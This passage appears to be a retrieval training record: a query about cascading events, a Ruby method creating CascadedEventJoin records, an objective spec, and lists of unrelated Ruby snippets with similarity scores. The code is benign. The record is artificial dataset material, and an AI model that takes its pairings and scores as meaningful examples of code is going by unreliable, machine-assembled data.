hotel.chain_size >= 41\n game_over = true\n elsif hotel.chain_size >= 11\n safe_hotel_count = safe_hotel_count + 1\n end\n end\n if safe_hotel_count == 7 || game_over == true\n winner = end_game_scoring\n return winner\n else\n return false\n end\n end", "def valid_tree?\n true\n end", "def egg?\n return @step_remaining > 0\n end", "def stack_upgraded?(name)\n old_stack = old_data.stack(name)\n new_stack = new_data.stack(name)\n return true if new_stack.root?\n return true if old_stack.version != new_stack.version\n return true if old_stack.stack_name != new_stack.stack_name\n return true if old_stack.variables != new_stack.variables\n\n false\n end", "def hungry?\n # method naam kan eindigen met \"?\"\n # dit is gebruikelijk om te doen als de methode\n # true of false terug geeft\n @stuff_in_belly <= 2\n end", "def backer?\n bounties.count > 0\n end", "def under_five(cart)\n\tcart.all? do |item|\n\t\titem.all? do |name, data|\n\t\t\tdata[:price] <= 5\n\t\tend\n\tend\nend", "def healthy?()\n\t\tif(calories < 200)\n\t\t\treturn TRUE\n\t\tend\n\tend", "def elv_kicklee\n atk > dfe\n end", "def relevant?\n existing_subtree_players.size > 0\n end", "def can_train_siege_engine?\n gold >= 200 && food >= 3 && lumber >= 60\n end", "def over_the_hill?\n return false if @age < 40\n true\n end", "def valid_tree?\n false\n end", "def unstable?\n harm > 3\n end", "def stale?\n cost < self.class.cost\n end", "def happy_walker?\n @dog_walker.favorite_breed == @dog.breed \n end", "def hungry? ## a ? means answer is true or false\n @stuff_in_belly <= 2\n end", "def balanced?\n difference_left_right = @root.left_child.depth - @root.right_child.depth\n difference_left_right.between?(-1, 1)\n end", "def valid_tree?\n true\n end", "def valid_tree?\n true\n end", "def bust?; value > 21; end", "def in_check?\n f = @kings[@mx]\n 8.times do |i|\n t = SQ120[SQ64[f] + STEPS[KNIGHT][i]]\n return true if @pieces[t] == KNIGHT && t != NULL && @colors[t] == @mn\n s = STEPS[KING][i]\n t = SQ120[SQ64[f] + s]\n t = SQ120[SQ64[t] + s] while (t != NULL && @colors[t] == EMPTY)\n next if t == NULL || @colors[t] != @mn\n case @pieces[t]\n when QUEEN then return true\n when BISHOP then return true if i < 4\n when ROOK then return true if i > 3\n when PAWN then return true if (s - UP[@mn]).abs == 1\n when KING then return true if SQ120[SQ64[f] + s] == t\n end\n end\n false\n end", "def futur?\n before > 0\n end", "def hungry? # method names can end in ? (usually used if returns true or false)\n\t\t@stuff_in_belly <= 2\n\tend", "def hungry?\n return (@hunger > @max_health/2)\n end", "def broke?(minimum_bet)\n if self.chips < minimum_bet\n true\n else\n false\n end\n end", "def undergrad?\n sdb.class_standing <= 5\n end", "def tall_enough?\n self.user.height < self.attraction.min_height\n end", "def happy?\n return @happiness > 7\n end", "def won?\n\t\tallies = castaways.where(rival: false)\n\t\tpopular = $history.reload.most_popular\n\t\tpopular_names = popular.map { |p| p[0] }\n\t\tally_names = allies.map { |a| a.name }\n\t\tmissing_names = popular_names - ally_names\n\t\tmissing_names.length < 4\n\tend", "def leaf?\n new_record? || (rgt - lft == 1)\n end", "def node?\n (self.forestify_right_position - self.forestify_left_position) > 1\n end", "def stalemate(is_black)\n active_pieces = pieces_active(is_black)\n\n active_pieces.each do |piece|\n (0..7).each do |x|\n (0..7).each do |y|\n return false if piece.move_valid?(x, y) && piece.move_causes_check?(x, y) == false\n true\n end\n end\n end\n true\n end", "def alive?()\n\t\tamount_of( :deuterium ) > 0\n\tend", "def fate\n n = friends\n @alive ? ( n >= OVERCROWDED || n <= LONELY) : FERTILE.include?(n)\n end", "def poopy?\n\t\t@stuff_in_intestine >= 8\n\tend", "def very_tall_grass?\n return $game_player.system_tag == TTallGrass\n end", "def losing_node?(evaluator) #mark\n # other_mark = @next_mover_mark == evaluator ? \n if @board.over? \n winner = @board.winner\n return winner && winner != evaluator\n else \n if evaluator == @next_mover_mark\n children.all?{|ele| ele.losing_node?(evaluator)}\n else \n children.any?{|ele| ele.losing_node?(evaluator)}\n end \n end \n\n end", "def any_eggs?\n #p \"any_eggs? hen_age #{@age} eggs -> #{@egg.length} #{@egg}\"\n @egg.length > 0 ? true : false\n end", "def test_eat\n fish_before = @river.fish.length\n fish_target = @river.fish[@river.fish.length-1].name\n @bear1.eat_from(@river)\n fish_after = @river.fish.length\n assert_equal(1, fish_before - fish_after)#checks 1 fish has been removed from river\n assert_equal(fish_target, @bear1.belly[@bear1.belly.length-1])#checks bear's belly contains the fish that it should have eaten from the river\n end", "def check_free_venue\n if @total >= 20\n return true\n end\n end", "def trigger_king_rock?\n return data.status != 7\n end", "def is_alive?\n @alive = false if Dates.is_greatter(@last_wash, @limit_wash)\n @alive = false if Dates.is_greatter(@last_food, @limit_food)\n return @alive\n end", "def has_honors\n if @gpa >= 3.5\n return true\n end\n return false\n end", "def farkle?\n if !self.three_set? && !self.single_scoring?\n @farkle_count += 1\n @current_score = 0\n true\n else\n false\n end\n end", "def balanced?\n left = height(@root.left_node)\n right = height(@root.right_node)\n\n if (left - right).abs <= 1\n return true\n end\n\n return false\n end", "def see_ball?\n \tball.notSeenLongTime() < 5\n end", "def lost?\n all_bombs = @grid.flatten.select { | tile | tile.value == BOMB }\n all_bombs.all? { | tile | tile.revealed }\n end", "def verify_weekend_warrior(badge_user,expected_earned_date,expected_total_warrior_badges,reason)\n warrior = badge_user.badges.reload.detect{|b|b.badge_key==Badge::WeekendWarrior && b.earned_date == expected_earned_date} \n if warrior\n if badge_user.badges.select{|b|b.badge_key==Badge::WeekendWarrior}.size == expected_total_warrior_badges\n # bacon pancaaaaaaaaakes\n return true\n else\n puts \"boo! weekend warrior badge doesn't work! (#{reason}) badges below\"\n puts y(badge_user.badges)\n return false\n end\n else\n puts \"boo! weekend warrior badge doesn't work! (#{reason}, badge not earned for #{expected_earned_date}). badges below\"\n puts y(badge_user.badges)\n return false\n end\nend", "def is_treasure(geonote)\n influence = 2\n popularity(geonote) >= base_popularity + influence * density(geonote)\n end", "def rent?(furnished, rent, baller)\n baller && (furnished || rent < 2100 ) ? true : false\nend", "def sorrounded?\n enemies_around > 2\n end", "def is_child_kindergarten_eligible?(child, previous_year_start, current_year_start)\n age_on(child, previous_year_start) < to_age(years: 5, months: 0) && age_on(child, current_year_start) >= to_age(years: 5, months: 0)\nend", "def balanced?(current_node = root)\n depth(current_node) == -1 ? false : true\n end", "def hall_of_famer?\n return false unless self.profile[\"levels_unlocked\"]\n Set.new(self.profile[\"levels_unlocked\"]).count == 65\n end", "def touch?( other )\n\t\tcommon_leaves = [ ]\n\t\tother.leaves.each do |leaf|\n\t\t\t@leaves.include?(leaf) and common_leaves << leaf\n\t\tend\n\t\tif common_leaves.size > 0\n\t\t\tcommon_leaves.first\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend", "def stalemate?(color)\n total_moves = list_legal_moves(color)\n total_move_list = []\n total_moves.each do |piece, values|\n total_move_list += values[:moves]\n end\n total_move_list == [] && !check?(color) ? true : false \n end", "def is_sunk? \n if @life > 0\n return false\n else\n return true\n end\n end", "def busted?(total)\n total > GAME_HIGH\nend", "def balanced?\n (height(@root.left) - height(root.right)).between?(-1, 1)\n end", "def money_enough?\n remaining_sum > 0\n end", "def too_may_guests_in_room__true()\n if @guests.check_in_count() > @capacity\n return true\n end\n return false\n end", "def test_growthItem\n f = ItemFilter.new(\"growth\", true)\n new_list = @usableItems.find_all{|x| f.apply(x)}\n return new_list.size == 6\n end", "def reached_new_level?\n return false unless points_awarded && points_awarded_changed?\n\n level_after_update.level_number > level_before_update.level_number\n end", "def behavior_hungry\n @world.food.each do |food|\n if distance_from_point(food.position) < (food.quantity + ROID_SIZE*5)\n @delta -= self.position - food.position\n end \n if distance_from_point(food.position) <= food.quantity + 5\n eat food\n end \n end \n end", "def night_only?\n priority.nil? || priority < 5\n end", "def has_ledger_moves?\n ledger_moves.any?\n end", "def balance_adequate_for_transaction?(amount)\n if self.satisfaction_rating > amount\n return true\n else\n return false\n end\n end", "def test_for_cheap\r\n if @agent_bargain_limit\r\n @ischeap = true if @price < @agent_bargain_limit\r\n else\r\n @ischeap = true if @price < @cheap\r\n end\r\n end" ]
[ "0.69488615", "0.6628299", "0.6388284", "0.6330351", "0.6330351", "0.6326121", "0.6324284", "0.6314839", "0.62715006", "0.62715006", "0.62715006", "0.6269346", "0.62524325", "0.62421614", "0.62367034", "0.6201152", "0.6200187", "0.6199781", "0.61414737", "0.6139496", "0.61077", "0.61077", "0.6070357", "0.6070357", "0.6014468", "0.59863865", "0.59822583", "0.59822583", "0.5932384", "0.59195715", "0.59027344", "0.58749497", "0.58667755", "0.586103", "0.58513826", "0.5823507", "0.58122206", "0.578739", "0.57766056", "0.5776423", "0.57714725", "0.5770837", "0.57697326", "0.5767755", "0.5765883", "0.5751779", "0.5749818", "0.5742811", "0.5741679", "0.57390547", "0.5736285", "0.5736285", "0.57259434", "0.57110137", "0.57038397", "0.5703497", "0.57002074", "0.5699609", "0.56881183", "0.5686728", "0.5683888", "0.5678834", "0.5673578", "0.5673485", "0.56644154", "0.56536573", "0.5647344", "0.5646086", "0.5644009", "0.5627449", "0.5619318", "0.5617243", "0.56102824", "0.56075305", "0.55971086", "0.55927557", "0.55922806", "0.5585668", "0.55848676", "0.5582832", "0.55824333", "0.5576944", "0.5568329", "0.5564051", "0.55587626", "0.5551118", "0.554626", "0.55458283", "0.5545796", "0.55396795", "0.5536104", "0.55337554", "0.5533535", "0.5530465", "0.55257195", "0.55252177", "0.55195713", "0.55174834", "0.55170995", "0.5513357", "0.5510925" ]
0.0
-1
Returns +true+ if there are any oranges on the tree, +false+ otherwise
def has_oranges? self.oranges.count > 0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def any_oranges?\n true if @oranges_in_tree.length > 0\n end", "def any_oranges?\n # code to check if tree has any oranges goes here\n @oranges.length > 0\n end", "def any_apples?\n # code to check if tree has any oranges goes here\n @apples.length > 0\n end", "def any_pears?\n # code to check if tree has any oranges goes here\n @pears.length > 0\n end", "def any_oranges?\n if @oranges.length > 0\n return true\n end\n end", "def any_oranges?\n \tif @oranges.length > 0\n \t\ttrue\n \telse\n \t\tfalse\n \tend\n end", "def any_oranges?\n @oranges.length > 0\n end", "def any_oranges?\n @oranges.length > 0\n end", "def has_oranges?\n @oranges.size > 0\n end", "def any_oranges?\n @oranges >= 1\n end", "def leaf?\n self.children.size == 0\n end", "def nested?\n @nodes.any?\n end", "def any_oranges?\n @num_of_oranges.length > 0\n end", "def any_oranges?\n if @oranges.length > 0\n return true\n else\n return false\n end\n end", "def any_oranges?\n !!(@oranges.length > 0) #got orange\n end", "def leaf?\n children.empty?\n end", "def leaf?\n leaves.count == 0\n end", "def leaf?\n true\n end", "def leaf?\n self.variations.size == 0\n end", "def has_children?\n !leaf?\n end", "def leaf?(r)\n r.children.empty?\n end", "def leaf?\n @children.length.zero?\n end", "def leaf?\n right - left == 1\n end", "def leaf?\n @children.empty?\n end", "def grounded?(node, hashes)\n (!(node.node?)) || (hashes.member? node)\n end", "def any_oranges?\n \tif @oranges > 0 \n \t\treturn true\n \telse @age <= 0\n \t\treturn false\n \tend\n end", "def nodes?\r\n\t\treturn !h? || (h? && root?)\r\n\tend", "def leaf?; false end", "def is_valid?\n leaf_nodes = each_leaf\n leaf_nodes.map(&:is_closed?).reduce(&:&)\n end", "def has_won?(color)\n stack = start_hexes(color)\n visited = Set.new(stack)\n until stack.empty?\n current = stack.pop\n children = neighbors(current).reject { |coord| visited.include?(coord) }\n return true if children.any? { |coord| is_target?(coord) }\n visited.merge(children)\n stack.concat(children)\n end\n false\n end", "def leaf?\n @succ.length == 0\n end", "def check_if_has_children\n self.lookups.count == 0\n end", "def has_children?\n @nodes && !@nodes.empty?\n end", "def any_child_open?\n self.children.each do |e|\n return true unless e.completed\n end\n false\n end", "def leaf?\n !node?\n end", "def has_children?\n self.children.size > 0\n end", "def has_children?\n self.children.size > 0\n end", "def has_children?\n self.children.size > 0\n end", "def has_children?\n self.children.size > 0\n end", "def losing_node?(evaluator) #mark\n # other_mark = @next_mover_mark == evaluator ? \n if @board.over? \n winner = @board.winner\n return winner && winner != evaluator\n else \n if evaluator == @next_mover_mark\n children.all?{|ele| ele.losing_node?(evaluator)}\n else \n children.any?{|ele| ele.losing_node?(evaluator)}\n end \n end \n\n end", "def has_children?\n self.children.size > 0 \n end", "def has_children?\n self.children.size > 0 \n end", "def has_children?\n self.children.size > 0 \n end", "def has_children?\n self.children.size > 0 \n end", "def is_leaf?\n self.children_count.zero?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def children?\n self.children.any?\n end", "def valid_tree?\n false\n end", "def empty?\n @root.empty? && @root.leaf?\n end", "def hemogenous?\n return true if empty?\n\n klass = nodes_by_id[selected_node_ids.first].class\n selected_nodes.all? { |n| n.class == klass }\n end", "def valid_tree?\n true\n end", "def have_children?\n children.count != 0\n end", "def leaf?(sexp)\n list?(sexp) && depth(sexp) == 1\nend", "def has_children?\n false\n end", "def node?\n any?(&:node?)\n end", "def has_children?\n !children.empty?\n end", "def left_recursive?\n any { |r| r.left_recursive? } \n end", "def children_are_leaves?\n unless leaf?\n @children[0].leaf?\n end\n end", "def balanced?\n difference_left_right = @root.left_child.depth - @root.right_child.depth\n difference_left_right.between?(-1, 1)\n end", "def full?\r\n\t\tif nodes?\r\n\t\t\tnodes.each { |node|\r\n\t\t\t\tif node == nil\r\n\t\t\t\t\treturn false\r\n\t\t\t\tend\r\n\t\t\t}\r\n\t\tend\r\n\t\t\r\n\t\treturn true\r\n\tend", "def leaf?\n level.zero?\n end", "def root?\n self.depth.zero?\n end", "def root?\n self.depth.zero?\n end", "def empty?()\n return @root.children.empty? ? true : false\n end", "def has_children?\n !self.children.empty?\n end", "def complete?\n last_layer = true # If the previous layer had an empty branch\n\n each_depth do |layer, depth|\n return false if !last_layer\n nil_exists = false # If an empty branch exists at the current layer\n\n layer.each do |n|\n if n.nil?\n nil_exists = true\n elsif nil_exists\n return false\n end\n end\n\n last_layer = false if nil_exists\n end\n\n true\n end", "def valid_tree?\n true\n end", "def valid_tree?\n true\n end", "def unknown?\n !root? && !child?\n end", "def unknown?\n !root? && !child?\n end", "def unknown?\n !root? && !child?\n end", "def has_children?\n children.size > 0\n end", "def has_children?\n children.size > 0\n end", "def leaf?\n children.where(parent_id: self.id).empty?\n end", "def empty?\n return @tree_iterator.empty?\n end", "def losing_node?(evaluator)\n #puts \"#{@board.winner}: #{evaluator}\" \n if @board.over?\n if @board.winner != evaluator\n return true\n elsif @board.winner == nil || @board.winner == evaluator\n return false\n end\n end\n \n if next_mover_mark == evaluator\n return self.children.all? {|child| child.losing_node?(evaluator)}\n else\n return self.children.any? {|child| child.losing_node?(evaluator)}\n end\n end", "def has_children?\n children.any?\n end", "def leaf?\n left.nil? && right.nil?\n end", "def has_branches\n branch_found = false\n waypoints[1..-1].each do |waypoint|\n branch_found |= waypoint.parent_index != waypoint.local_index-1\n end\n branch_found\n end", "def losing_node?(evaluator)\n return false if self.board.over? && (self.board.winner.nil? || self.board.winner == evaluator)\n return true if self.board.over? && self.board.winner != evaluator\n \n if evaluator == @next_mover_mark \n self.children.all? {|child| child.losing_node?(evaluator)}\n else\n self.children.any? {|child| child.losing_node?(evaluator)}\n end\n end", "def children?\n !children.empty?\n end", "def relevant?\n existing_subtree_players.size > 0\n end", "def is_leaf\n true\n end", "def is_leaf\n true\n end", "def tree_nodes_valid?\n (root_tree_node.present? || top_nav_node_info_cd.zero?) &&\n (branch_tree_node.present? || sub_nav_node_info_cd.zero?) &&\n (leaf_tree_node.present? || trd_nav_node_info_cd.zero?)\n end", "def balanced?\n left = height(@root.left_node)\n right = height(@root.right_node)\n\n if (left - right).abs <= 1\n return true\n end\n\n return false\n end", "def losing_node?(mark)\n return board.winner != mark if board.won?\n return false if self.children.empty?\n if self.next_mover_mark == mark\n return true if self.children.all? do |child_node|\n child_node.losing_node?(mark)\n end\n else\n return true if self.children.any? do |child_node|\n child_node.losing_node?(mark)\n end\n end\n false\n end", "def has_children?\n children.size > 0\n end", "def has_children?\n children.size > 0\n end", "def scanned_node?(node); end", "def is_subtree(root)\n\nend", "def contains_color?(color)\n # So check each child's color, then their children's color\n children.any? { _1.color == color || _1.contains_color?(color) }\n end" ]
[ "0.87968343", "0.8710332", "0.8137579", "0.8052434", "0.67939556", "0.67730993", "0.6763185", "0.6763185", "0.674341", "0.6731151", "0.67241985", "0.67233485", "0.669742", "0.66838396", "0.66340935", "0.6619967", "0.6610139", "0.6566619", "0.65491647", "0.6511804", "0.65022945", "0.6498195", "0.6486659", "0.64805716", "0.6423515", "0.6411762", "0.6404263", "0.6355084", "0.63251144", "0.6315719", "0.63153785", "0.6315188", "0.6309167", "0.6308002", "0.62820524", "0.62687355", "0.62687355", "0.62687355", "0.62687355", "0.62631696", "0.62610674", "0.62610674", "0.62610674", "0.62610674", "0.62572515", "0.62532777", "0.62532777", "0.62532777", "0.62532777", "0.62532777", "0.62532777", "0.62532777", "0.62532777", "0.62532777", "0.6244178", "0.6243706", "0.6239498", "0.6223913", "0.62176406", "0.621524", "0.62030506", "0.61983496", "0.61971444", "0.61949563", "0.61875665", "0.61823046", "0.61818963", "0.6180248", "0.6165608", "0.616482", "0.616482", "0.6162597", "0.6151635", "0.61428094", "0.6137768", "0.6137768", "0.6131614", "0.6131614", "0.6131614", "0.6125589", "0.6125589", "0.6125162", "0.6101531", "0.60965186", "0.6093508", "0.6087186", "0.6083956", "0.6077058", "0.60728157", "0.6071482", "0.6071113", "0.6071113", "0.6051313", "0.60394275", "0.603884", "0.60315454", "0.60315454", "0.6024226", "0.6019002", "0.6013848" ]
0.6904058
4
if validations arent met, code crashes
def username self.trip.user.username end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def valid; end", "def valid?; end", "def valid?; end", "def valid?; end", "def valid?; end", "def valid?; end", "def check_validity!\n # nothing\n end", "def validate\r\n validate! rescue false\r\n end", "def validate!\n # pass\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def invalid; end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def validate\r\n\r\n end", "def validate\r\n @invalid=false\r\n end", "def validate!; end", "def validate!; end", "def validate!; end", "def run_validations\n true\n end", "def validation; end", "def validation; end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def validate; end", "def validate; end", "def validate; end", "def validate; end", "def validate\n \n \n end", "def validate!\n\t\t\t\treturn true\n\t\t\tend", "def validate\n @invalid=false\n end", "def is_valid?\n raise Exception\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def validate\n # add errors if not validate\n end", "def valid?(_) true end", "def valid?(_) true end", "def validate!\n true\n end", "def validate\n end", "def valid?\n end", "def valid?\n end", "def valid?\n end", "def valid?\n end", "def check_errors;\n end", "def is_valid; end", "def validated?; end", "def valid?\r\n return true\r\n end", "def validate\n end", "def validate\n end", "def validate\n end", "def validated; end", "def checks; end", "def is_valid\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def validate\n\n end", "def valid?\n true\n end", "def run_validations!\n super\n include_typecasting_errors\n errors.empty?\n end", "def validate\n valid?\n end", "def valid?\n false\n end", "def valid?\n false\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end" ]
[ "0.7357118", "0.73022324", "0.73022324", "0.73022324", "0.73022324", "0.73022324", "0.7229241", "0.72059757", "0.7198521", "0.7188602", "0.71753293", "0.7170723", "0.7163341", "0.71394134", "0.70927286", "0.70927286", "0.7060906", "0.70368886", "0.7020898", "0.7011744", "0.7011744", "0.7011744", "0.6996361", "0.6992622", "0.6992622", "0.6992383", "0.69758284", "0.69758284", "0.69758284", "0.69758284", "0.6947433", "0.6905654", "0.68754834", "0.6790705", "0.6715563", "0.6700651", "0.6678306", "0.6678306", "0.6590135", "0.65773964", "0.65685046", "0.65685046", "0.65685046", "0.65685046", "0.6562709", "0.6562244", "0.65528566", "0.6550387", "0.6523938", "0.6523938", "0.6523938", "0.6510585", "0.6494613", "0.6486599", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.6462232", "0.643823", "0.643823", "0.643823", "0.643823", "0.643823", "0.6418577", "0.6406268", "0.6382249", "0.63815045", "0.6375687", "0.6375687", "0.6371573", "0.6371573", "0.6371573", "0.6371573", "0.6371573", "0.6371573", "0.6371573" ]
0.0
-1
Note that we always have a cascaded event join for the model that the event actually belongs to, even if it's not cascadable. I know this is bad terminology, but it seems better to do this way so that we can get all events for an object directly from the cascaded events join table.
def maybe_cascade CascadedEventJoin.find_or_create_by(cascaded_eventable: self.eventable, event_id: self.id) if self.cascadable and self.eventable.respond_to?(:cascade_event) self.eventable.cascade_event(self) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def events\n # FIXME this logic belongs in the Event model. stop leaking AR outside of the model\n @events ||= Event.includes(:upcoming_observances).where(\"observances.start_on >= ?\", Date.current).references(:observances)\n end", "def related_events\n find_related_frbr_objects( :is_related_to, :which_events?) \n end", "def coliding_events\n \n\n # TODO scope this by room. ie an event is only in\n # collision when it is in the same room as another\n\n e0 = Event.arel_table\n e1 = Event.arel_table.alias # because we do a self join\n\n # compare self events \n j0 = e0[:schedule_id].eq(id)\n j1 = e1[:schedule_id].not_eq(id)\n \n # and find events on the same dates\n j2 = overlap_query \\\n e0[:start_at],\n e0[:end_at],\n e1[:start_at],\n e1[:end_at],\n false\n\n\n q = e0.join(e1).on(j0.and(j1))\n\n Event.joins(q.join_sql).where(j2)\n end", "def event_model(model); self.model.event_model(model) end", "def events_for_venue\n @events = []\n\n if params[:venue_id]\n @events = Event.where(venue_id: params[:venue_id]).eager_load(:dates).merge(EventDate.not_finished)\n end\n\n end", "def event_collection(collection=Conference)\n collection.includes(:presentations => :publications ).references(:presentations => :publications )\n end", "def index\n @events = Event.where.not(id: current_user.events.ids + current_user.belongs_events.pluck(:id))\n @event = Event.new\n end", "def all_events\n @events = Event.all\n end", "def index\n @events = eager_event.all\n end", "def event\n @event ||= ::Event.find(self.id)\n end", "def events_for_user (user_id)\n events_users.includes(:event).where(\"events_users.user_id=?\",user_id)\n end", "def events_hosting\n Event.where(:creator_uid => self.uid)\nend", "def get_kassi_events\n query = \"\n SELECT DISTINCT kassi_events.id, kassi_events.realizer_id, kassi_events.receiver_id, \n kassi_events.eventable_id, kassi_events.eventable_type, kassi_events.created_at \n FROM kassi_events, conversations, kassi_events_people\n WHERE kassi_events.id = kassi_events_people.kassi_event_id\n AND kassi_events_people.person_id = '#{id}'\n AND kassi_events.pending = 0\n AND (kassi_events.eventable_type <> 'Reservation'\n OR (kassi_events.eventable_id = conversations.id\n AND conversations.return_time < '#{DateTime.now.utc}'))\n ORDER BY id DESC\n \"\n KassiEvent.find_by_sql(query)\n end", "def joined_event?\n current_event = Event.find(params[:id])\n current_user && current_event.users.find_by(id: current_user.id)\n end", "def joined_event?\n current_event = Event.find(params[:id])\n current_user && current_event.users.find_by(id: current_user.id)\n end", "def read_event\n self.class.select(\"READ_EVENT(#{self.id})\").all\n end", "def complete_events\n self.events\n .includes(:location, :organization, :categories)\n .order(\"start_at\")\n end", "def event(event_model)\n if event = find_event(event_model)\n event\n else\n raise ArgumentError, \"cannot find #{event_model} in the set of bound events in #{self}. Known events are #{bound_events}.\"\n end\n end", "def get_event_association(event_route_name)\n case event_route_name.to_sym\n when Event::Route::BAPTISMAL_CERTIFICATE\n baptismal_certificate\n when Event::Route::CHRISTIAN_MINISTRY\n christian_ministry\n when Event::Route::CONFIRMATION_NAME\n pick_confirmation_name\n when Event::Route::SPONSOR_COVENANT\n sponsor_covenant\n when Event::Route::SPONSOR_ELIGIBILITY\n sponsor_eligibility\n when Event::Route::RETREAT_VERIFICATION\n retreat_verification\n when Event::Other::CANDIDATE_INFORMATION_SHEET\n candidate_sheet\n when Event::Other::PARENT_INFORMATION_MEETING,\n Event::Other::ATTEND_RETREAT,\n Event::Other::CANDIDATE_COVENANT_AGREEMENT,\n Event::Other::SPONSOR_AND_CANDIDATE_CONVERSATION\n self\n else\n raise \"Unknown event association: #{event_route_name}\"\n end\n end", "def attended_events\n Event.where('attendances.person_id = ?', self.id).includes(:instances => [:meetings => :attendances]).references(:instances)\n end", "def has_event?(event_model)\n\t bound_events.has_key?(event_model)\n\tend", "def set_event\n @event = eager_event.find(params[:id])\n end", "def has_event?(event_model)\n bound_events.has_key?(event_model)\n end", "def event_commissions\n find_related_frbr_objects( :is_commissioned_for, :which_events?) \n end", "def show\n @event = @event.includes(:address).includes(:company).first.decorate\n end", "def index\n if @event != nil\n @event_dates = @event.event_dates.all\n else\n @event_dates = 